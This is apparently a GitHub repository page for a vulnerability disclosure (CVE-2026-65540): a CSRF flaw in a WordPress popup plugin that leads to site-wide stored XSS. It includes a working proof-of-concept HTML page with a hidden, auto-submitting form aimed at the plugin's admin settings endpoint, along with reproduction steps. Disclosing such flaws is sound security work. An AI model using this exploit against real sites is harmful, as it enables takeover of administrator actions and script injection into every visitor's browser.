Skip to content

About

Popup for CF7 with Sweet Alert <= 1.6.5 - Cross-Site Request Forgery

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

 

History

3 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 

Repository files navigation

CVE-2026-65540

Popup for CF7 with Sweet Alert <= 1.6.5 - Cross-Site Request Forgery

Plugin URL

https://wordpress.org/plugins/cf7-sweet-alert-popup/

Description

The plugin's settings handler contains a logic error in its nonce verification disabling all CSRF protection. An unauthenticated attacker can exploit this by tricking an authenticated administrator into visiting a malicious page with a hidden auto-submitting form, arbitrarily modifying the plugin settings.
The submitted values are stored without sanitization and injected verbatim into a <script> block on every frontend page via wp_head, resulting in site-wide stored XSS affecting all visitors.

POC

  1. Host the following HTML page on a separate server:
<!DOCTYPE html>
<html>
<body>
<h1>Hello</h1>
<iframe name="hiddenframe" style="display:none"></iframe>
<form style="visibility:hidden" action="http://TARGET/wp-admin/admin.php?page=cf7-simplepopup"
      method="POST" id="csrf" target="hiddenframe">
  <input name="cf7simplePopupWidth" value="500;alert(document.domain)">
  <input name="cf7simplePopupNonce" value="invalid_nonce">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
  1. Log in to WordPress as an administrator
  2. Visit the malicious page
  3. (Optional) Navigate to http://TARGET/wp-admin/admin.php?page=cf7-simplepopup — confirm the Width field now contains 500;alert(document.domain)
  4. Visit any frontend page, alert(document.domain) executes in the browser confirming stored XSS

About

Popup for CF7 with Sweet Alert <= 1.6.5 - Cross-Site Request Forgery

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors